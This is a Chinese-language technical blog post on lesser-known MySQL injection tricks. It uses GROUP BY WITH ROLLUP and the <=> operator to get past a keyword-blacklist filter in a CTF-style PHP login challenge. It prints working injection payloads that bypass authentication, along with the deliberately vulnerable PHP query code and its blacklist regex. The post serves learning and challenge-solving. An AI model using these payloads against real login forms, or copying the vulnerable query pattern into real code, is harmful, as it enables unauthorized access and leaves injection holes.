MySQL偏门注入

说明

工作之后,目前工作内容就是写代码和研究Linux内核相关的知识,已经很少研究有关SQL注入等相关知识了。这篇文章是最近在整理自己电脑文件时发现的。与其藏在角落里,还不如和大家一起分享下。由于时间过于久远,也无法确认是不是已经有人已经分享过了。

rollup

简介

mysql中的group by后面可以接with rollup修饰语,使用with rollup修饰语可以在group by结果后面增加一行(该行内容中的group by的列返回NULL,其他列返回相应的内容)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 没有rollup
mysql> select Host,User from user group by host;
+-----------+------------+
| Host | User |
+-----------+------------+
| % | wackopicko |
| 127.0.0.1 | root |
| ::1 | root |
| localhost | root |
+-----------+------------+
4 rows in set (0.00 sec)

# 有rollup
mysql> select Host,User from user group by host with rollup ;
+-----------+------------+
| Host | User |
+-----------+------------+
| % | wackopicko |
| 127.0.0.1 | root |
| ::1 | root |
| localhost | root |
| NULL | root |
+-----------+------------+
5 rows in set (0.00 sec)

可以看到使用with rollup之后,返回结果中会多一行,且Host字段为NULL。

以一个稍微复杂一点的例子来说明with rollup的用法。
创建数据库

1
2
3
4
5
CREATE TABLE `t` (
`id` int(11) DEFAULT NULL,
`id2` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
insert into t value(11,11),(12,12),(13,13);

使用rollup查询

1
2
3
4
5
6
7
8
9
10
mysql> select id,sum(id2),avg(id2) from t group by id with rollup;
+------+----------+----------+
| id | sum(id2) | avg(id2) |
+------+----------+----------+
| 11 | 11 | 11.0000 |
| 12 | 12 | 12.0000 |
| 13 | 13 | 13.0000 |
| NULL | 36 | 12.0000 |
+------+----------+----------+
4 rows in set (0.00 sec)

可以发现对于group by的列(在本例中为id),返回为NULL,对于其他列则是进行正常的操作(在本例中为sum和avg操作)。

rollup绕过检测

存在users表,其中仅仅只存在一条记录。

1
2
3
4
5
6
7
8
9
-- auto-generated definition
CREATE TABLE users
(
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NULL,
password VARCHAR(255) NULL,
CONSTRAINT users_id_uindex
UNIQUE (id)
);

需要绕过的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function AttackFilter($StrKey,$StrValue,$arrReq) {
if(is_array($StrValue)) {
$StrValue = implode($StrValue);
}
if(preg_match("/".$arrReq."/is",$StrValue) == 1) {
print "the attack is detected";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp";

foreach ($_POST as $key=>$value) {
AttackFilter($key,$value,$filter);
}


$username = @$_POST['username'];
$password = @$_POST['password'];
$query = "select * from users WHERE username='{$username}'";
$query = mysqli_query($conn,$query);

if(mysqli_num_rows($query) == 1) {
$result = mysqli_fetch_array($query);
if($result['password'] == $password) {
die('right');
}
}

这道题目与常规的md5的登录注入类似,但是无法使用union子句,此时就可以使用rollup子句。

1
select * from users where username=''or 1 group by username with rollup

会产生一条password为NULL的记录,使用limit取出这条语句,然后传入空的password,最后就会NULL==NULL而绕过验证。

如果不知道用户名,可以使用username=' or 1=1。但是在本例中过滤了or,那么可以使用username='=0(利用’’=0的特性)。

POC为:

1
POST:username='=0 group by password with rollup limit 1 offset 1#&password=

<=>

同样是上面的那道题目,在POC中使用了limit。如果limit无法使用也被过滤了,则该如何绕过呢?

那么需要看一下SELECT的语法了。`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

GROUP BY后面可以接HAVING子句,如果需要HAVING子句生效,则需要后面的where_condition为True。如果直接使用HAVING password=null的话不会生效因为mysql中 null = null 会返回 null。当 null <=> null 的时候会返回1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select null=null;
+-----------+
| null=null |
+-----------+
| NULL |
+-----------+
1 row in set (0.00 sec)

mysql> select null<=>null;
+-------------+
| null<=>null |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)

所以最终的POC为:

1
username='=0 group by password with rollup having password <=>null %23&password=

参考

MySQL group by with rollup

MySQL注入的一些偏门技巧